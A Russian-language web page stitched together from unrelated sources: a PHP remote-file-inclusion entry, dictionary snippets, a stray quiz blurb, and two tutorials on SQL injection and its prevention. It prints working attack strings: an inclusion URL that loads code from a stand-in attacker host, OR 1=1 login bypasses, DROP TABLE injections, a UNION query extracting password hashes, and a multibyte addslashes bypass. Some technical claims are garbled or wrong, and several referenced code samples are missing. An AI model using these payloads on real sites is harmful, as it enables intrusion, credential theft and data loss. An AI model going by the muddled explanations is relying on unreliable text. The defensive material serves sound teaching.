Пример php инъекции через post. Боримся с SQL-инъекцией с помощью PHP. Виды уязвимостей PHP

Пример

Этот скрипт уязвим, так как к содержимому переменной $module просто прибавляется «.php» и по полученному пути подключается файл.

Взломщик может на своём сайте создать файл, содержащий PHP-код (http://hackersite.com/inc.php), и зайдя на сайт по ссылке вроде http://mysite.com/index.php?module=http://hackersite.com/inc выполнить любые PHP-команды.

Способы защиты

Существует несколько способов защиты от такой атаки:

  • Проверять, не содержит ли переменная $module посторонние символы:

  • Проверять, что $module присвоено одно из допустимых значений:

Этот способ является более эффективным, красивым и аккуратным.

PHP предоставляет также возможность отключения использования удаленных файлов, это реализуется путем изменения значения опции allow_url_fopen на Off в файле конфигурации сервера php.ini .

Описанная уязвимость представляет высокую опасность для сайта и авторам PHP-скриптов не надо забывать про неё.

См. также

Ссылки


Wikimedia Foundation . 2010 .

Смотреть что такое "PHP-инъекция" в других словарях:

    - … Википедия

    - … Википедия

    У этого термина существуют и другие значения, см. PHP (значения). PHP Семантика: мультипарадигменный … Википедия

    E mail инъекция это техника атаки, используемая для эксплуатации почтовых серверов и почтовых приложений, конструирующих IMAP/SMTP выражения из выполняемого пользователем ввода, который не проверяется должным образом. В зависимости от типа… … Википедия

    Внедрение SQL кода (англ. SQL injection) один из распространённых способов взлома сайтов и программ, работающих с базами данных, основанный на внедрении в запрос произвольного SQL, в зависимости от типа используемой СУБД и условий внедрения,… … Википедия

    Внедрение SQL кода (англ. SQL injection) один из распространённых способов взлома сайтов и программ, работающих с базами данных, основанный на внедрении в запрос произвольного SQL, в зависимости от типа используемой СУБД и условий внедрения,… … Википедия

    PHP Семантика: мультипарадигменный Тип исполнения: Интерпретатор компилирующего типа Появился в: 1995 г. Автор(ы): Расмус Лердорф Последняя версия: 4 … Википедия

    В узком смысле слова в настоящее время под словосочетанием понимается «Покушение на систему безопасности», и склоняется скорее к смыслу следующего термина Крэкерская атака. Это произошло из за искажения смысла самого слова «хакер». Хакерская… … Википедия

Мы желаем вам успехов в его прохождении. Итоги вашего прохождения будут опубликованы позже (следите за новостями в соц. сетях), а также всем прошедшим в дальнейшем будет выслан инвайт для регистрации на сайте.

Ставьте лайки, делитесь с друзьями и коллегами, репостите в соц.сетях.

Все программисты читали или по крайней мере слышали о методах взлома безопасности веб-сайта. Или даже столкнулись с этой проблемой. С другой стороны, бесконечна фантазия тех, кто хочет сломать сайт, поэтому все узкие места должны быть хорошо защищены. Вот почему я хотел бы начать серию коротких статей, где будут представлены основные методы и приемы взлома веб-сайтов.

В первой статье я хотел бы описать и разъяснить некоторые общие методы взлома одного из самых уязвимых частей сайта — форм. Я буду подробно останавливаться на том, как использовать эти методы и как предотвратить атаки, а также расскажу о тестировании безопасности.

SQL инъекции

SQl-инъекция — это такая техника, когда злоумышленник вводит команды SQL в input поле на веб-странице. Этим imput`ом может быть что угодно — текстовое поле в форме, параметры _GET и _POST, cookies и т. д. Этот метод был весьма эффективным до появления фреймворков в мире PHP. Но этот способ взлома может быть по-прежнему опасен, если вы не используете ORM или какие-либо еще расширения для data object. Почему? Из-за способа передачи параметров в SQL запрос.

"Слепые" инъекции

Давайте начнем с классического примера SQL-statement`а, возвращающего пользователя по его логину и хешу от пароля (страница входа)

Пример 1

mysql_query ("SELECT id, login FROM users WHERE login = ? and password = hash(?)");

Я подставил вопросительные знаки в выражение из-за различных вариаций этого решения. Первый вариант, на мой взгляд, самый уязвимый:

Пример 1а

Mysql_query("SELECT id, login FROM users WHERE login = "" . $login . "" and password = hash("" . $password . "")");

В этом случае в коде нет проверки на ввод неправильных данных. Значения передаются прямо из формы ввода в SQL запрос. В самом лучшем случае пользователь введет здесь свои логин и пароль. Что случится в худшем случае? Давайте попробуем хакнуть эту форму. Это можно сделать, передав "подготовленные" данные. Попытаемся войти как первый пользователь из базы данных, а в большинстве случаев — это админский аккаунт. Для этого, передадим специальную строку вместо ввода логина:

" OR 1=1; --

Первая кавычка может быть и одинарной, поэтому одной попыткой взлома можно не обойтись. В конце стоят точка с запятой и два дефиса, чтобы всё, что идёт после превратилось в комментарий. В результате будет выполнен следующий SQL запрос:

SELECT id, login FROM users WHERE login = “;” OR 1=1 LIMIT 0,1; - and password = hash(“;Some password”)

Он вернет первого пользователя из базы данных и, возможно, залогинится под ним в приложении. Хорошим ходом будет добавить LIMIT, чтобы входить под каждым отдельным пользователем. Это единственное, что нужно, чтобы пройти по каждому значению.

Более серьезные способы

В предыдущем примере всё не так уж страшно. Возможности в админской панели управления всегда имеют ограничения и потребуется реально много работы, чтобы поломать сайт. А вот атака через SQL инъекции может привести к куда большим повреждениям системы. Задумайтесь, сколько приложений создаются с главной таблицей "users" , и что будет, если злоумышленник введет такой код в незащищённую форму:

My favorite login"; DROP TABLE users; --

Таблица "users" будет удалена. Это одна из причин почаще делать бэкапы баз данных.

_GET параметры

Все параметры, заполненные через форму, передаются на сервер одним из двух методов — GET или POST. Наиболее распространенный параметр, передаваемый через GET — id. Это одно из самых уязвимых мест для атак, при этом неважно, какого вида урл вы используете — ` http://example.com/users/?id=1 `, или ` http://example.com/users/1 `, или ` http://......./.../post /35 `.

Что произойдет, если мы подставим в урл следующий код?

Http://example.com/users/?id=1 AND 1=0 UNION SELECT 1,concat(login,password), 3,4,5,6 FROM users WHERE id =1; --

Вероятно, такой запрос вернет нам логин пользователя и... хеш от его пароля. Первая часть запроса `AND 1=0` превращает то, что перед ним в false, соответственно никаких записей не будет получено. А вторая часть запроса вернет данные в виде prepared data. А так как первым параметром идет id, следующим будет логин пользователя и хеш его пароля и еще сколько-то параметров. Существует множество программ, с помощью брутфорса декодирующих такой пароль, как в примере. А так как пользователь может использовать один и тот же пароль для разных сервисов, можно получить доступ и к ним.

И вот что любопытно: от такого способа атаки совершенно невозможно защититься методами вроде `mysql_real_escape_string`, `addslashes` и.т. д. В принципе, нет способа избежать такой атаки, поэтому, если параметры будут передаваться так:

"SELECT id, login, email, param1 FROM users WHERE id = " . addslashes($_GET["id"]);"

проблемы не исчезнут.

Экранирование символов в строке

Когда я был новичком в программировании, мне было тяжело работать с кодировками. Я не понимал, в чем между ними различие, зачем использовать UTF-8, когда нужно UTF-16, почему база данных постоянно устанавливает кодировку в latin1. Когда я наконец начал всё это понимать, то обнаружил, что проблем станет меньше, если хранить всё в одном стандарте кодирования. Разбираясь со всем этим, я заметил также и проблемы безопасности, возникающие при преобразовании из одной кодировки в другую.

Проблем, описанных в большинстве предыдущих примеров, можно избежать, используя одинарные кавычки в запросах. Если вы используете addslashes() , атаки через SQL-инъекции, построенные на использовании одинарных кавычек, экранируемых обратным слэшем, потерпят неудачу. Но такая атака может пройти, если просто подставить символ с кодом 0xbf27 , addslashes() преобразует его в символ с кодом 0xbf5c27 - а это вполне валидный символ одинарной кавычки. Другими словами, `뼧` пройдет через addslashes() , а потом маппинг MySQL конвертирует его в два символа 0xbf (¿) и 0x27 (‘).

"SELECT * FROM users WHERE login = ""; . addslashes($_GET["login"]) . ";"";

Этот пример можно хакнуть, передав 뼧 or 1=1; -- в поле логина в форме. Движок SQL сгенерит конечный запрос так:

SELECT * FROM users WHERE login = "¿" OR 1=1; --

И вернет первого пользователя из БД.

Защита

Как же защитить приложение? Есть куча способов, применение которых не сделает приложение совсем неуязвимым, но хотя бы повысит его защищенность.

Использование mysql_real_escape_string

Функция addslashes() ненадежна, так как не предусматривает многие случаи взлома. У mysql_real_escape_string нет таких проблем

Использование MySQLi

Это расширение для MySQL умеет работать со связанными параметрами:

$stmt = $db->prepare("update uets set parameter = ? where id = ?"); $stmt->bind_param("si", $name, $id); $stmt->execute();

Использование PDO

Длинный способ подстановки параметров:

$dbh = new PDO("mysql:dbname=testdb;host=127.0.0.1", $user, $password); $stmt = $dbh->prepare("INSERT INTO REGISTRY (name, value) VALUES (:name, :value)"); $stmt->bindParam(":name", $name); $stmt->bindParam(":value", $value); // insert one row $name = "one"; $value = 1; $stmt->execute();

Короткий способ:

$dbh = new PDO("mysql:dbname=testdb;host=127.0.0.1", $user, $password); $stmt = $dbh->prepare("UPDATE people SET name = :new_name WHERE id = :id"); $stmt->execute(array("new_name" => $name, "id" => $id));

Использование ORM

Используйте ORM и PDO и связывайте (используйте bind) параметры. Избегайте SQL в коде, если вы видите в коде SQL, значит, с ним что-то не так.

ORM позаботится о безопасности в самых узких местах в коде и о валидации параметров.

Выводы

Цель этой серии не предоставить полное руководство по взлому сайтов, а обеспечить безопасность приложения и предотвращение атак из любого источника. Я постарался написать эту статью не только для программистов — они должны быть в курсе любых угроз в коде и знать пути, как предотвратить их, но также и для инженеров по качеству — потому, что их работа заключается в том, чтобы отследить и сообщить такие моменты.

new player 27 января 2011 в 11:37

Боримся с SQL-инъекцией с помощью PHP

  • Чулан *

SQL-инъекция это наиболее опасный тип атаки, ведь именно она стоит за бесчисленным количеством случаев взлома переживших корпоративные сайты и порталы, и просто личные домашние страницы. Действительности защитить свой проект довольно легко - для этого нужно прежде всего понять в чем суть этой проблемы и внести в код некоторые изменения для защиты.

Что такое SQL-инъекция

SQL-инъекцией называют действия, которые нужно осуществить, чтобы выполнить свой собственный запрос к базе данных, без вашего ведома. Чаще всего это происходит когда вы предлагаете пользователю отправить какую-то информацию на сервер, но вместо желаемой информации злоумышленник отсылает свой запрос, который, по неосторожности, выполняется сервером. С помощью такого запроса злоумышленник может не только получить запрещенную информацию из базы данных, но и, при определенных условиях, внести в нее изменения, а также выполнить системные команды.

Примеры SQL-инъекций

Отправить свой запрос злоумышленник может не только вписав его в поле для ввода информации (используя $_POST), он может также подставить свои $_GET переменные в адресную строку, или вручную изменить свои $_COOKIE. Поэтому следует проявлять осмотрительность при работе с этими глобальными массивами данных.

Если у вас на странице есть форма для ввода определенной информации, злоумышленник может использовать ее поля для своих целей. Вместо ожидаемых строк (имя, пароль и т.д.) он введет в такое поле свой собственный запрос.

Большинство таких SQL-инъекций выглядят следующим образом:

Asd" or 1=1--

Скажем, мы имеем форму для авторизации пользователей. Если мы введем такой код в поле логина, мы сможем использовать нашу SQL-инъекцию для получения доступа даже без надлежащих проверок. Как это работает? Рассмотрим какой все же запрос мы получим в результате наших действий:

SELECT * FROM users WHERE username = "asd" or 1=1--" and password = "asd"

Итак как видно из примера, наш код будет успешно выполнен. А так как выражение 1=1 будет всегда возвращать true, мы гарантированно получим доступ.

Вас скорее всего заинтересует, для чего нам двойной дефис (--). Этот двойной прочерк в конце строки сообщает SQL серверу, что ему следует проигнорировать остальные запросы. Если же вы хотите написать инъекцию не для SQL сервера, то в таком случае, вам пригодится замена двойного дефиса на одинарный апостроф.

Обратите внимание, приведенный выше пример - это просто наиболее стандартный вариант, но далеко не единственный. Их количество просто поражает, и все зависит от того как работает голова злоумышленника.

Примеры еще некоторых наиболее распространенных инъекций:

") or ("1"="1
"or "1"="1
" or "1"="1
Or 1=1--
" or 1=1--
" or 1=1--

Также довольно часто злоумышленники используют адресную строку (URL) для своих атак. Этот метод также как и предыдущий, не менее опасен. Когда на сервере используется PHP и MySQL (на данный момент, самая популярная комбинация), адрес к скрипту как правило выглядит примерно следующим образом:

Http://somesite.com/login_script.php?id=1

Добавляя к такой строке немножко SQL-а можно делать страшные вещи:

Http://somesite.com/login_script.php?id=1‘; DROP TABLE login; #

В данном случае использован знак # вместо двойного дефиса, так как он говорит SQL серверу проигнорировать все последующие запросы, которые будут идти после нашего. И что самое опасное (если вы еще не заметили), мы только что сказали серверу изъять табличку с пользователями. Данный пример хорошо демонстрирует насколько опасными могут быть SQL-инъекции.

Что нужно сделать для защиты своих скриптов от SQL-инъекций

Мы уже знаем, что уязвимость на SQL-инъекциях возникает тогда, когда информация от пользователей попадает в запрос к базе данных, без соответствующей обработки. Итак следующим шагом идет написание безопасных скриптов.

К счастью, данная опасность известна уже достаточно давно. В PHP даже появилась специальная функция (начиная с версии 4.3.0), которая борется с этим типом атак - mysql_real_escape_string .

mysql_real_escape_string превращает строку на безопасную для употребления в запросах к базе данных, путем экранирования всех потенциально опасных символов. Как правило таким последовательным знаком является одинарный апостроф ("), который после использования этой функции будет экранирован (\").

Для того чтобы защититься от SQL-инъекции, все внешние параметры ($_GET, $_POST, $_COOKIE), следует прежде чем включить в SQL запрос, проработать с помощью mysql_real_escape_string() , а в самом запросе поместить их в одинарном апострофе. Если придерживаться этого простого правила, тогда действия злоумышленника приведут к формированию безопасных запросов, так как весь текст его SQL-инъекций теперь внутри апострофов.

Давайте рассмотрим что же в действительности выполняет сервер при такой обработке:

SQL-инъекция (строка которую злоумышленник вписал в поле «Логин» вместо своего логина):

Sql" or 1=1--

$name = mysql_real_escape_string($_POST["username"]);
$res = mysql_query("SELECT * FROM users WHERE username = "".$name."" and password = "asd"");

SELECT * FROM users WHERE username = "sql\" or 1=1--" and password = "asd"

То есть, при таком запросе, вместо опасных действий, мы стараемся выбрать данные пользователя у которого довольно странный username (sql\"or 1=1-) .

Можно пойти дальше и написать функционал который будет автоматически обрабатывать массивы $_GET, $_POST и $_COOKIE соответствующим образом, но это все зависит только от ваших пожеланий. Запомнить следует только то, нужно защитить все места где в базу данных передаются данные от пользователя.

Хотя по-прежнему очевидно, что взломщик должен обладать по крайней мере некоторыми знаниями о структуре базы данных чтобы провести успешную атаку, получить эту информацию зачастую очень просто. Например, если база данных является частью open-source или другого публично доступного программного пакета с инсталляцией по умолчанию, эта информация является полностью открытой и доступной. Эти данные также могут быть получены из закрытого проекта, даже если он закодирован, усложнен, или скомпилирован, и даже из вашего личного кода через отображение сообщений об ошибках. К другим методам относится использование распространенных (легко угадываемых) названий таблиц и столбцов. Например, форма логина, которая использует таблицу "users" c названиями столбцов "id", "username" и "password".

Большинство успешных атак основывается на коде, написанном без учета соответствующих требований безопасности. Не доверяйте никаким вводимым данным, особенно если они поступают со стороны клиента, даже если это списки в форме, скрытые поля или куки. Первый приведенный пример показывают, как подобные запросы могут привести к катастрофе.

  • Никогда не соединяйтесь с базой данных, используя учетную запись владельца базы данных или суперпользователя. Всегда старайтесь использовать специально созданных пользователей с максимально ограниченными правами.
  • используйте подготовленные выражения с привязанными переменными. Эта возможность предоставляется расширениями PDO , MySQLi и другими библиотеками.
  • Всегда проверяйте введенные данные на соответствие ожидаемому типу. В PHP есть множество функций для проверки данных: начиная от простейших функций для работы с переменными и функций определения типа символов (таких как is_numeric() и ctype_digit() соответственно) и заканчивая Perl-совместимыми регулярными выражениями .
  • В случае, если приложение ожидает цифровой ввод, примените функцию ctype_digit() для проверки введенных данных, или принудительно укажите их тип при помощи settype() , или просто используйте числовое представление при помощи функции sprintf() .

    Пример #5 Более безопасная реализация постраничной навигации

    settype ($offset , "integer" );
    $query = "SELECT id, name FROM products ORDER BY name LIMIT 20 OFFSET $offset ;" ;

    // обратите внимание на формат %d, использование %s было бы бессмысленно
    $query = sprintf ("SELECT id, name FROM products ORDER BY name LIMIT 20 OFFSET %d;" ,
    $offset );

    ?>

  • Если на уровне базы данных не поддерживаются привязанные переменные, то всегда экранируйте любые нечисловые данные, используемый в запросах к БД при помощи специальных экранирующих функций, специфичных для используемой вами базы данных (например, mysql_real_escape_string() , sqlite_escape_string() и т.д.). Общие функции такие как addslashes() полезны только в определенных случаях (например MySQL в однобайтной кодировке с отключенным NO_BACKSLASH_ESCAPES), поэтому лучше избегать их использование.
  • Ни в коем случае не выводите никакой информации о БД, особенно о ее структуре. Также ознакомьтесь с соответствующими разделами документации: "Сообщения об ошибках " и "Функции обработки и логирования ошибок ".
  • Вы можете использовать хранимые процедуры и заранее определенные курсоры для абстрагированной работы с данными, не предоставляя пользователям прямого доступа к данным и представлениям, но это решение имеет свои особенности.

Помимо всего вышесказанного, вы можете логировать запросы в вашем скрипте либо на уровне базы данных, если она это поддерживает. Очевидно, что логирование не может предотвратить нанесение ущерба, но может помочь при трассировке взломанного приложения. Лог-файл полезен не сам по себе, а информацией, которая в нем содержится. Причем, в большинстве случаев полезно логировать все возможные детали.

Софт